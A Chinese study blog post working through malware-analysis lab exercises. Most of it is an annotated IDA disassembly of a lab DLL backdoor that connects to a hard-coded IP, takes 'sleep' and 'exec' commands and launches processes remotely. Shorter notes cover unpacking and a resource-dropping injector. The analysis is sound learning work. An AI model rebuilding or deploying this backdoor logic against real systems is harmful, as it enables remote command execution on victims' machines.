恶意代码分析训练第一天
最近在看恶意代码分析与实战，写下博客记录一下上面的一些作业
dll程序
.text:10001010 ; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) .text:10001010 _DllMain@12 proc near ; CODE XREF: DllEntryPoint+4B↓p .text:10001010 .text:10001010 hObject = dword ptr -11F8h .text:10001010 name = sockaddr ptr -11F4h .text:10001010 ProcessInformation= _PROCESS_INFORMATION ptr -11E4h .text:10001010 StartupInfo = _STARTUPINFOA ptr -11D4h .text:10001010 WSAData = WSAData ptr -1190h .text:10001010 buf = byte ptr -1000h .text:10001010 var_FFF = byte ptr -0FFFh .text:10001010 CommandLine = byte ptr -0FFBh .text:10001010 hinstDLL = dword ptr 4 .text:10001010 fdwReason = dword ptr 8 .text:10001010 lpvReserved = dword ptr 0Ch .text:10001010 .text:10001010 mov eax, 11F8h .text:10001015 call __alloca_probe .text:1000101A mov eax, [esp+11F8h+fdwReason] .text:10001021 push ebx .text:10001022 push ebp .text:10001023 push esi .text:10001024 cmp eax, 1 .text:10001027 push edi .text:10001028 jnz loc_100011E8 .text:1000102E mov al, byte_10026054 .text:10001033 mov ecx, 3FFh .text:10001038 mov [esp+1208h+buf], al .text:1000103F xor eax, eax .text:10001041 lea edi, [esp+1208h+var_FFF] .text:10001048 push offset Name ; "SADFHUHF" .text:1000104D rep stosd .text:1000104F stosw .text:10001051 push 0 ; bInheritHandle .text:10001053 push 1F0001h ; dwDesiredAccess .text:10001058 stosb .text:10001059 call ds:OpenMutexA .text:1000105F test eax, eax .text:10001061 jnz loc_100011E8 .text:10001067 push offset Name ; "SADFHUHF" .text:1000106C push eax ; bInitialOwner .text:1000106D push eax ; lpMutexAttributes .text:1000106E call ds:CreateMutexA .text:10001074 lea ecx, [esp+1208h+WSAData] .text:10001078 push ecx ; lpWSAData .text:10001079 push 202h ; wVersionRequested .text:1000107E call ds:WSAStartup ; 调用Socket之前，必须调用这个，否则不能使用别的SOCKET其他函数 .text:10001084 test eax, eax .text:10001086 jnz loc_100011E8 .text:1000108C push 6 ; protocol .text:1000108E push 1 ; type .text:10001090 push 2 ; af .text:10001092 call ds:socket .text:10001098 mov esi, eax .text:1000109A cmp esi, 0FFFFFFFFh .text:1000109D jz loc_100011E2 .text:100010A3 push offset cp ; "127.26.152.13" .text:100010A8 mov [esp+120Ch+name.sa_family], 2 .text:100010AF call ds:inet_addr .text:100010B5 push 50h ; hostshort .text:100010B7 mov dword ptr [esp+120Ch+name.sa_data+2], eax .text:100010BB call ds:htons .text:100010C1 lea edx, [esp+1208h+name] .text:100010C5 push 10h ; namelen .text:100010C7 push edx ; name .text:100010C8 push esi ; s .text:100010C9 mov word ptr [esp+1214h+name.sa_data], ax .text:100010CE call ds:connect .text:100010D4 cmp eax, 0FFFFFFFFh .text:100010D7 jz loc_100011DB .text:100010DD mov ebp, ds:strncmp .text:100010E3 mov ebx, ds:CreateProcessA .text:100010E9 .text:100010E9 loc_100010E9: ; CODE XREF: DllMain(x,x,x)+12A↓j .text:100010E9 ; DllMain(x,x,x)+14F↓j ... .text:100010E9 mov edi, offset buf ; "hello" .text:100010EE or ecx, 0FFFFFFFFh .text:100010F1 xor eax, eax .text:100010F3 push 0 ; flags .text:100010F5 repne scasb .text:100010F7 not ecx .text:100010F9 dec ecx .text:100010FA push ecx ; len .text:100010FB push offset buf ; "hello" .text:10001100 push esi ; s .text:10001101 call ds:send .text:10001107 cmp eax, 0FFFFFFFFh .text:1000110A jz loc_100011DB .text:10001110 push 1 ; how .text:10001112 push esi ; s .text:10001113 call ds:shutdown .text:10001119 cmp eax, 0FFFFFFFFh .text:1000111C jz loc_100011DB .text:10001122 push 0 ; flags .text:10001124 lea eax, [esp+120Ch+buf] .text:1000112B push 1000h ; len .text:10001130 push eax ; buf .text:10001131 push esi ; s .text:10001132 call ds:recv .text:10001138 test eax, eax .text:1000113A jle short loc_100010E9 .text:1000113C lea ecx, [esp+1208h+buf] .text:10001143 push 5 ; MaxCount .text:10001145 push ecx ; Str2 .text:10001146 push offset Str1 ; "sleep" .text:1000114B call ebp ; strncmp .text:1000114D add esp, 0Ch .text:10001150 test eax, eax .text:10001152 jnz short loc_10001161 .text:10001154 push 60000h ; dwMilliseconds .text:10001159 call ds:Sleep .text:1000115F jmp short loc_100010E9 .text:10001161 ; --------------------------------------------------------------------------- .text:10001161 .text:10001161 loc_10001161: ; CODE XREF: DllMain(x,x,x)+142↑j .text:10001161 lea edx, [esp+1208h+buf] .text:10001168 push 4 ; MaxCount .text:1000116A push edx ; Str2 .text:1000116B push offset aExec ; "exec" .text:10001170 call ebp ; strncmp .text:10001172 add esp, 0Ch .text:10001175 test eax, eax .text:10001177 jnz short loc_100011B6 .text:10001179 mov ecx, 11h .text:1000117E lea edi, [esp+1208h+StartupInfo] .text:10001182 rep stosd .text:10001184 lea eax, [esp+1208h+ProcessInformation] .text:10001188 lea ecx, [esp+1208h+StartupInfo] .text:1000118C push eax ; lpProcessInformation .text:1000118D push ecx ; lpStartupInfo .text:1000118E push 0 ; lpCurrentDirectory .text:10001190 push 0 ; lpEnvironment .text:10001192 push 8000000h ; dwCreationFlags .text:10001197 push 1 ; bInheritHandles .text:10001199 push 0 ; lpThreadAttributes .text:1000119B lea edx, [esp+1224h+CommandLine] .text:100011A2 push 0 ; lpProcessAttributes .text:100011A4 push edx ; lpCommandLine .text:100011A5 push 0 ; lpApplicationName .text:100011A7 mov [esp+1230h+StartupInfo.cb], 44h .text:100011AF call ebx ; CreateProcessA .text:100011B1 jmp loc_100010E9 .text:100011B6 ; --------------------------------------------------------------------------- .text:100011B6 .text:100011B6 loc_100011B6: ; CODE XREF: DllMain(x,x,x)+167↑j .text:100011B6 cmp [esp+1208h+buf], 71h .text:100011BE jz short loc_100011D0 .text:100011C0 push 60000h ; dwMilliseconds .text:100011C5 call ds:Sleep .text:100011CB jmp loc_100010E9 .text:100011D0 ; --------------------------------------------------------------------------- .text:100011D0 .text:100011D0 loc_100011D0: ; CODE XREF: DllMain(x,x,x)+1AE↑j .text:100011D0 mov eax, [esp+1208h+hObject] .text:100011D4 push eax ; hObject .text:100011D5 call ds:CloseHandle .text:100011DB .text:100011DB loc_100011DB: ; CODE XREF: DllMain(x,x,x)+C7↑j .text:100011DB ; DllMain(x,x,x)+FA↑j ... .text:100011DB push esi ; s .text:100011DC call ds:closesocket .text:100011E2 .text:100011E2 loc_100011E2: ; CODE XREF: DllMain(x,x,x)+8D↑j .text:100011E2 call ds:WSACleanup .text:100011E8 .text:100011E8 loc_100011E8: ; CODE XREF: DllMain(x,x,x)+18↑j .text:100011E8 ; DllMain(x,x,x)+51↑j ... .text:100011E8 pop edi .text:100011E9 pop esi .text:100011EA pop ebp .text:100011EB mov eax, 1 .text:100011F0 pop ebx .text:100011F1 add esp, 11F8h .text:100011F7 retn 0Ch .text:100011F7 _DllMain@12 endp
第一次分析不太会，所以简单的分析了一下，数组的初始化，并打开了一个互斥体
mov al, byte_10026054 mov ecx, 3FFh mov [esp+1208h+buf], al xor eax, eax lea edi, [esp+1208h+var_FFF] push offset Name ; "SADFHUHF" rep stosd stosw push 0 ; bInheritHandle push 1F0001h ; dwDesiredAccess stosb call ds:OpenMutexA test eax, eax jnz loc_100011E8
打开互斥体失败则，创建互斥体，并且调用WSAStartup函数，官方解释
The WSAStartup function initiates use of the Winsock DLL by a process.
push offset Name ; "SADFHUHF" push eax ; bInitialOwner push eax ; lpMutexAttributes call ds:CreateMutexA lea ecx, [esp+1208h+WSAData] push ecx ; lpWSAData push 202h ; wVersionRequested call ds:WSAStartup ; 调用Socket之前，必须调用这个，否则不能使用别的SOCKET其他函数 test eax, eax jnz loc_100011E8
如果成功，则调用的了socket函数，相关文档：https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-socket
这里应该是创建了一个基于IPV4、TCP\IP的套接字
push 6 ; protocol IPPROTO_IGMP push 1 ; type SOCK_STREAM push 2 ; af AF_INET call ds:socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_100011E2
如果创建成功则，intet_addr，这个看函数名应该就可以知道，设置目标地址
而htons这个没看懂官方解释，以大端形式传输？
The htons function converts a u_short from host to TCP/IP network byte order (which is big-endian).
然后建立连接connect
push offset cp ; "127.26.152.13" mov [esp+120Ch+name.sa_family], 2 call ds:inet_addr push 50h ; hostshort mov dword ptr [esp+120Ch+name.sa_data+2], eax call ds:htons lea edx, [esp+1208h+name] push 10h ; namelen push edx ; name push esi ; s mov word ptr [esp+1214h+name.sa_data], ax call ds:connect cmp eax, 0FFFFFFFFh jz loc_100011DB
建立成功后，发送hello数据
loc_100010E9: mov edi, offset buf ; "hello" or ecx, 0FFFFFFFFh xor eax, eax push 0 ; flags repne scasb not ecx dec ecx push ecx ; len push offset buf ; "hello" push esi ; s call ds:send cmp eax, 0FFFFFFFFh jz loc_100011DB
发送完数据后，会尝试关闭套接字，如果关闭失败，说明有消息可以接受，否则关闭成功
push 1 ; how push esi ; s call ds:shutdown cmp eax, 0FFFFFFFFh jz loc_100011DB
接收数据
push 0 ; flags lea eax, [esp+120Ch+buf] push 1000h ; len push eax ; buf push esi ; s call ds:recv test eax, eax jle short loc_100010E9
检验是否为sleep，如果是则线程睡眠
lea ecx, [esp+1208h+buf] push 5 ; MaxCount push ecx ; Str2 push offset Str1 ; "sleep" call ebp ; strncmp add esp, 0Ch test eax, eax jnz short loc_10001161
否则检验是否为exec，是则创建一个进程，叫exec，并且再去检验新接收的数据是什么
loc_10001161: lea edx, [esp+1208h+buf] push 4 ; MaxCount push edx ; Str2 push offset aExec ; "exec" call ebp ; strncmp add esp, 0Ch test eax, eax jnz short loc_100011B6
创建进程
mov ecx, 11h lea edi, [esp+1208h+StartupInfo] rep stosd lea eax, [esp+1208h+ProcessInformation] lea ecx, [esp+1208h+StartupInfo] push eax ; lpProcessInformation push ecx ; lpStartupInfo push 0 ; lpCurrentDirectory push 0 ; lpEnvironment push 8000000h ; dwCreationFlags push 1 ; bInheritHandles push 0 ; lpThreadAttributes lea edx, [esp+1224h+CommandLine] push 0 ; lpProcessAttributes push edx ; lpCommandLine push 0 ; lpApplicationName mov [esp+1230h+StartupInfo.cb], 44h call ebx ; CreateProcessA jmp loc_100010E9
Lab 1-2
用peid检查发现有upx壳，直接用命令upx -d *.exe脱壳即可
查看导入函数发现有advapi32.dll这个dll文件，再看看导入函数
通过查看导入函数可以知道创建服务，然后创建线程去执行一个函数
再看看该线程创建后，会去打开浏览器然后打开某个网页
Lab 1-3
用peid检查时，发现有fsg壳，但我不会脱，看了答案后，发现目前不要求脱
打开ida查看导入表，发现只有loadlibraryA和GetProcAddress这两个函数，这两个函数可以导致一个程序没有导入表，所以所有函数都是通过这个来导入的
Lab 1-4
PEID检查没有什么问题
打开ida查看导入表
发现有ADVAPI32.dll发现有提权行文，WriteFile有写入行为，CreateRemoteThread有创建远程线程行为，还有LoadResource，判断程序流程可能是这样的，加载资源表，然后把资源表里的程序写入文件中，在用Open打开进程，并创建远程线程来执行他。
我们用Resource Haker可以看到其资源表里面有一个可执行文件
